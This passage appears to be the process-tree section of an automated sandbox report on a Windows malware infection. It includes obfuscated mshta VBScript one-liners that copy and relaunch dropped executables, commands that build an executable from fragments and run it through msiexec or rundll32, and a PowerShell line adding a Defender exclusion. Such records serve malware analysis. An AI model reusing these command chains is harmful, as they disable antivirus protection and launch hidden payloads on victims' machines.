- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:7388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8793946f8,0x7ff879394708,0x7ff879394718
5⤵
PID:6096

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2276 /prefetch:2
5⤵
PID:6388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 /prefetch:3
5⤵
PID:5720

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2764 /prefetch:8
5⤵
PID:4804

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
5⤵
PID:6468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
5⤵
PID:1240

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
5⤵
PID:3168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5104 /prefetch:1
5⤵
PID:4376

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:1
5⤵
PID:6920

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3452 /prefetch:1
5⤵
PID:580

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5860 /prefetch:8
5⤵
PID:5824

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5860 /prefetch:8
5⤵
PID:3476

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3852 /prefetch:2
5⤵
PID:5616

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
5⤵
PID:3556

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
5⤵
PID:2092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3380 /prefetch:8
5⤵
PID:7240

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5620 /prefetch:8
5⤵
PID:6160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5332 /prefetch:8
5⤵
PID:6836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5436 /prefetch:8
5⤵
PID:7124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2264,714398010805367168,16671015018694859750,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5304 /prefetch:8
5⤵
PID:7368

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
4⤵
PID:7200

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8793946f8,0x7ff879394708,0x7ff879394718
5⤵
PID:2796

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,8579713172923436235,9320072428026626032,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:3
5⤵
PID:5052

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\569C.exe" -Force
3⤵
PID:5888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 2288
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4664

C:\Users\Admin\AppData\Local\Temp\5C69.exe
C:\Users\Admin\AppData\Local\Temp\5C69.exe
2⤵
PID:6272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6272 -s 236
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6944

C:\Users\Admin\AppData\Local\Temp\65A2.exe
C:\Users\Admin\AppData\Local\Temp\65A2.exe
2⤵
PID:7148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7148 -s 240
3⤵
- Suspicious use of SetThreadContext
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4384

C:\Users\Admin\AppData\Local\Temp\6B9E.exe
C:\Users\Admin\AppData\Local\Temp\6B9E.exe
2⤵
- Suspicious use of SetThreadContext
PID:6836

C:\Users\Admin\AppData\Local\Temp\6B9E.exe
C:\Users\Admin\AppData\Local\Temp\6B9E.exe
3⤵
PID:5352

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b7e53dc7f6f9f6d3f8fef6eff7339ba4 4u7jN66aPkqkVsvoBawzOQ.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2432

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01e3b3e0fa80800c.exe
Sat01e3b3e0fa80800c.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4692

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat018ad0a25a7faa.exe
Sat018ad0a25a7faa.exe
1⤵
- Executes dropped EXE
PID:4612

C:\Users\Admin\AppData\Local\Temp\is-9IL7H.tmp\Sat018ad0a25a7faa.tmp
"C:\Users\Admin\AppData\Local\Temp\is-9IL7H.tmp\Sat018ad0a25a7faa.tmp" /SL5="$30132,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat018ad0a25a7faa.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:936

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01c5002407.exe
Sat01c5002407.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4936

C:\ProgramData\6925404.exe
"C:\ProgramData\6925404.exe"
2⤵
- Executes dropped EXE
PID:5460

C:\ProgramData\4877252.exe
"C:\ProgramData\4877252.exe"
2⤵
- Executes dropped EXE
PID:5356

C:\ProgramData\7604105.exe
"C:\ProgramData\7604105.exe"
2⤵
- Executes dropped EXE
PID:5208

C:\ProgramData\8633857.exe
"C:\ProgramData\8633857.exe"
2⤵
- Executes dropped EXE
PID:5652

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpT: clOSE ( CReATeObJEct ( "wSCRipT.sHeLL"). RUn ("C:\Windows\system32\cmd.exe /Q /r TYpe ""C:\ProgramData\8633857.exe"" >zrvA.exe &&STArt zRva.EXE /PqtlfVLLUzTsVT2Ot9MwAu &If """" == """" for %d in ( ""C:\ProgramData\8633857.exe"") do taskkill /im ""%~nXd"" -F " ,0 , TrUe))
3⤵
PID:5760

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /Q /r TYpe "C:\ProgramData\8633857.exe" >zrvA.exe &&STArt zRva.EXE /PqtlfVLLUzTsVT2Ot9MwAu &If "" =="" for %d in ("C:\ProgramData\8633857.exe") do taskkill /im "%~nXd" -F
4⤵
PID:6024

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "8633857.exe" -F
5⤵
- Kills process with taskkill
PID:6308

C:\Users\Admin\AppData\Local\Temp\zrvA.exe
zRva.EXE /PqtlfVLLUzTsVT2Ot9MwAu
5⤵
PID:6300

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpT: clOSE ( CReATeObJEct ( "wSCRipT.sHeLL"). RUn ("C:\Windows\system32\cmd.exe /Q /r TYpe ""C:\Users\Admin\AppData\Local\Temp\zrvA.exe"" >zrvA.exe &&STArt zRva.EXE /PqtlfVLLUzTsVT2Ot9MwAu &If ""/PqtlfVLLUzTsVT2Ot9MwAu "" == """" for %d in ( ""C:\Users\Admin\AppData\Local\Temp\zrvA.exe"") do taskkill /im ""%~nXd"" -F " ,0 , TrUe))
6⤵
PID:4700

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /Q /r TYpe "C:\Users\Admin\AppData\Local\Temp\zrvA.exe" >zrvA.exe &&STArt zRva.EXE /PqtlfVLLUzTsVT2Ot9MwAu &If "/PqtlfVLLUzTsVT2Ot9MwAu " =="" for %d in ("C:\Users\Admin\AppData\Local\Temp\zrvA.exe") do taskkill /im "%~nXd" -F
7⤵
PID:3860

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBscriPt: closE ( cREATEObject("WsCript.Shell" ). RuN ( "C:\Windows\system32\cmd.exe /c EChO | set /P = ""MZ"" > BXCX3.r &COPY /B /y BXCX3.R+ j5IuH.B+ 1QL5Dt.T + CPR97qq.W8m + JuDE.JgD _gHPacAe.0 &stArt msiexec.exe /Y .\_GHPacae.0 " , 0 , tRue ) )
6⤵
PID:4472

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c EChO | set /P = "MZ" > BXCX3.r &COPY /B /y BXCX3.R+ j5IuH.B+1QL5Dt.T + CPR97qq.W8m+ JuDE.JgD _gHPacAe.0&stArt msiexec.exe /Y .\_GHPacae.0
7⤵
PID:3688

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>BXCX3.r"
8⤵
PID:7580

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EChO "
8⤵
PID:7572

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe /Y .\_GHPacae.0
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6500

C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
1⤵
PID:2908

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBScript: ClOsE( cReaTeOBjECt ( "wSCriPt.SHELL"). RUN ( "CMD /Q /C tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01519886887.exe"" > ..\BBIOHV.eXE&& stArT ..\BBIOhV.Exe -PTptXOWlEYbyb & iF """" == """" for %M In ( ""C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01519886887.exe"") do taskkill -f /Im ""%~NxM"" " , 0, TRue) )
1⤵
PID:3100

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYpE "C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01519886887.exe" > ..\BBIOHV.eXE&& stArT ..\BBIOhV.Exe -PTptXOWlEYbyb & iF "" =="" for %M In ( "C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01519886887.exe") do taskkill -f /Im "%~NxM"
2⤵
PID:3236

C:\Users\Admin\AppData\Local\Temp\BBIOHV.eXE
..\BBIOhV.Exe -PTptXOWlEYbyb
3⤵
- Executes dropped EXE
PID:6076

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBScript: ClOsE( cReaTeOBjECt ( "wSCriPt.SHELL"). RUN ( "CMD /Q /C tYpE ""C:\Users\Admin\AppData\Local\Temp\BBIOHV.eXE"" > ..\BBIOHV.eXE&& stArT ..\BBIOhV.Exe -PTptXOWlEYbyb & iF ""-PTptXOWlEYbyb "" == """" for %M In ( ""C:\Users\Admin\AppData\Local\Temp\BBIOHV.eXE"") do taskkill -f /Im ""%~NxM"" " , 0, TRue) )
4⤵
PID:3008

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYpE "C:\Users\Admin\AppData\Local\Temp\BBIOHV.eXE" > ..\BBIOHV.eXE&& stArT ..\BBIOhV.Exe -PTptXOWlEYbyb & iF "-PTptXOWlEYbyb " =="" for %M In ( "C:\Users\Admin\AppData\Local\Temp\BBIOHV.eXE") do taskkill -f /Im "%~NxM"
5⤵
PID:6280

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRiPt: CLoSe (creAtEOBJECt ( "WsCRIPt.sHeLl"). rUn ("cMD /Q /C Echo C:\Users\Admin\AppData\Local\TempNgu> Tqd1uZH.w & ECho | set /p = ""MZ"" > IRPJ4p_.E &CoPy /b /y IRPJ4p_.E+ k1OWwJBF._n + ZiENV9W.9 + TJDT~50N.T+ Q3ePSE6P.B + u0zN.v+ TqD1UZH.W ..\xEULvZFM.BWq & Del /q *& StarT control ..\XEULVZFm.BWq " , 0 , TRUE ) )
4⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:3088

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C Echo C:\Users\Admin\AppData\Local\TempNgu> Tqd1uZH.w &ECho | set /p = "MZ" > IRPJ4p_.E &CoPy /b /y IRPJ4p_.E+ k1OWwJBF._n +ZiENV9W.9+ TJDT~50N.T+Q3ePSE6P.B+ u0zN.v+ TqD1UZH.W ..\xEULvZFM.BWq &Del /q *& StarT control ..\XEULVZFm.BWq
5⤵
PID:6292

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECho "
6⤵
PID:7908

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>IRPJ4p_.E"
6⤵
PID:8004

C:\Windows\SysWOW64\control.exe
control ..\XEULVZFm.BWq
6⤵
PID:7516

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\XEULVZFm.BWq
7⤵
- Loads dropped DLL
PID:8088

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\XEULVZFm.BWq
8⤵
PID:8068

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\XEULVZFm.BWq
9⤵
PID:7800

C:\Windows\SysWOW64\taskkill.exe
taskkill -f /Im "Sat01519886887.exe"
3⤵
- Kills process with taskkill
PID:4208

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat018ad0a25a7faa.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat018ad0a25a7faa.exe" /SILENT
1⤵
- Executes dropped EXE
PID:2200

C:\Users\Admin\AppData\Local\Temp\is-QKESC.tmp\Sat018ad0a25a7faa.tmp
"C:\Users\Admin\AppData\Local\Temp\is-QKESC.tmp\Sat018ad0a25a7faa.tmp" /SL5="$2020E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat018ad0a25a7faa.exe" /SILENT
2⤵
PID:3088

C:\Users\Admin\AppData\Local\Temp\is-6BUFL.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-6BUFL.tmp\postback.exe" ss1
3⤵
PID:5812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4308

C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
2⤵
PID:8088

C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
2⤵
PID:6032

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7024

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:7096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 448
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5236 -ip 5236
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5588 -ip 5588
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 7096 -ip 7096
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 4692 -ip 4692
1⤵
PID:5512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 4704 -ip 4704
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3160 -ip 3160
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5240 -ip 5240
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3336 -ip 3336
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2592

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 360 -p 6628 -ip 6628
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5924 -ip 5924
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4788 -ip 4788
1⤵
PID:6212

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2576

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:6408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5596 -ip 5596
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6788

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 440 -p 4704 -ip 4704
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 6408 -ip 6408
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1348 -ip 1348
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5608 -ip 5608
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 4172 -ip 4172
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5424 -ip 5424
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1064 -ip 1064
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2056

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b7e53dc7f6f9f6d3f8fef6eff7339ba4 4u7jN66aPkqkVsvoBawzOQ.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:7712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 7724 -ip 7724
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 7696 -ip 7696
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 8024 -ip 8024
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 7560 -ip 7560
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 8048 -ip 8048
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5996 -ip 5996
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 4740 -ip 4740
1⤵
